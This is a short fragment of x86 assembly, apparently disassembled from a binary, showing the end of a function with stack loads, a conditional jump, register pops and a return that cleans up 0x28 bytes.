mov ecx, dword [esp + 0x10]
cmovne eax, esi
mov dword [esp + 0x2c], ebp
mov esi, dword [esp + 0x14]
add eax, edx
test ebx, ebx
jne 0x4b0b78
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 0x28